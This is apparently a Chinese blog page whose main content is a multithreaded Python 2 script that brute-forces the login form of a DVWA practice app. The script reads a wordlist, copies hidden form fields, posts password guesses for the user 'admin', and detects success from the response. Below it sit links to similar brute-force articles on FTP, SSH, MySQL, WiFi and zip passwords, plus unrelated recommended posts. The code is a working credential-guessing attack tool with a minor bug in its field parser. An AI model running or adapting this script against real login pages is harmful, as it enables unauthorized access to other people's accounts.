import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser user_thread =10
#这里登录名默认admin
username ="admin"
#pass.txt中保存密码文本文件
wordlist_file ="pass.txt"
resume =None
#
target_url ="http://192.168.31.113:8080/dvwa/login.php"
target_post ="http://192.168.31.113:8080/dvwa/login.php" #用户名区域
username_field="username"
#密码区域
password_field="password" #检查是否成功登录
success_check="Welcome" class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results={} def handle_starttag(self,tag,attrs):
#找到<input>
if tag=="input":
tag_name=None
tag_value=None
# for example <input type="hidden" name="NXX" id="IDXX" value="VXX" />
# name=type,value=hidden name=name,value=NXX name=id,value=IDXX name=value,value="VXX"
#attrs中各标签的名字和值
for name_tag,name_tag_value in attrs:
#找到名字等于name的标签
if name_tag=="name":
#获得名字等于name的标签的值
tag_name=name_tag_value
#找到名字等于value的标签
if name_tag=="value":
#获得名字等于value的标签的值
tag_value=name_tag_value
# 将标签和标签的值放入tag_results{}
if tag_name is not None:
self.tag_results[tag_name]=name_tag_value class Bruter():
def __init__(self):#注意__init__ 左右两边都是两个_
#打开密码文件读取内容
fd=open(wordlist_file,"rb")
raw_words=fd.readlines()
fd.close()
found_resume=False
#队列
words=Queue.Queue()
for word in raw_words:
word=word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
#如果中断,可以恢复
if word==resume:
found_resume=True
print("resuming from"+resume)
else:
words.put(word)
self.username=username
self.password_q=words#密码再保存到password_q
self.found=False#是否找到正确密码
print("finish setting for: %s" % username) def web_bruter(self):
#密码队列没读取完且没找到正确密码
while not self.password_q.empty() and not self.found:
brute=self.password_q.get().rstrip()
#存放cookie
jar=cookielib.FileCookieJar("cookies")
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
#爬取目标网站内容
response=opener.open(target_url)
page=response.read()
print("plan to brute")
#获得标签
parser=BruteParser()
parser.feed(page)
post_tags=parser.tag_results
#传值给用户名区域
post_tags[username_field]=self.username
#传值给密码区域
post_tags[password_field]=brute
#url编码post_tags
login_data=urllib.urlencode(post_tags)
login_response=opener.open(target_post,login_data) login_result=login_response.read()
#检查是否成功登录
if success_check in login_result:
self.found=True
print("success")
print(username+":"+brute) # use more threads to start web_bruter
def run_bruteforce(self):
for i in range(user_thread):
t=threading.Thread(target=self.web_bruter)
t.start() bruter_obj=Bruter()
bruter_obj.run_bruteforce()

python实现暴力破解的更多相关文章

  1. XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解

    XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...

  2. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  3. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  4. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  5. [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...

  6. python 编写暴力破解mysql用户名密码

    本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...

  7. 用python暴力破解压缩文件并不是万能,至少这个场景我告诉你密码你用代码也破解不了

    看到论坛上各种贴子写用python进行暴力破解的文章,于是自己也想去尝试一下,不试不知道,一试吓一跳,真的就像那句有名的”python由入门到放弃“,把论坛上别人的脚本全部自己敲一遍,运行不报错,但也 ...

  8. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  9. 4. DVWA亲测暴力破解

    LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块   我们先创建一个1.txt文件夹,把正确的账号密码写进去   我们输入 Username:1 Password: ...

随机推荐

  1. sql注入攻击的预防函数-如何防御sql注入

    1.预编译 2.捆绑变量各种过滤 用到的函数: addslashes  htmlspecialchars  mysql_escape_string($string) mysql_real_escape ...

  2. Android 滚动隐藏标题栏 和FAB按钮实现

    主页面: package com.loaderman.samplecollect.hideonscroll; import android.content.Intent; import android ...

  3. 设计-Int(4)和Int(11)谁更美

    设计-Int(4)和Int(11)谁更美 [缘起] 大家平时在进行数据库设计的时候,如果遇到需要存储整数类型的数据的时候,通常会优先使用Int这个整数类型,在处理20亿级别的正负数值存储上,Int类型 ...

  4. osg 三维模型加载与解析(fbx、3ds、ive、obj、osg)

    void TeslaManage::OnlineTreeViewDoubleClick(const QModelIndex & index) { int row = index.row(); ...

  5. Apache工作模式切换

    一.apache运行模式切换 apache比较常用的工作模式有worker以及prefork两种方式 1.编译安装: 如果在编译时候不指定,系统默认的是prefork模式.如果需要换成worker模式 ...

  6. Java-WebSocket调用报错:WebSocketClient objects are not reuseable

    我的代码 import com.google.common.collect.ImmutableMap; import com.google.common.io.ByteArrayDataOutput; ...

  7. LeetCode_167. Two Sum II - Input array is sorted

    167. Two Sum II - Input array is sorted Easy Given an array of integers that is already sorted in as ...

  8. c/c++编码规范(3)--google代码规范检测工具cpplint.py

    cpplint.py是来自google开源项目风格错误检测工具.它是一个python脚本,和google开源项目风格指南一同发布.下载地址:https://github.com/google/styl ...

  9. 【Leetcode_easy】669. Trim a Binary Search Tree

    problem 669. Trim a Binary Search Tree 参考 1. Leetcode_easy_669. Trim a Binary Search Tree; 完

  10. 跟我学Shiro目录贴

    转发地址:https://www.iteye.com/blog/jinnianshilongnian-2018398 扫一扫,关注我的公众号 购买地址 历经三个月左右时间,<跟我学Shiro&g ...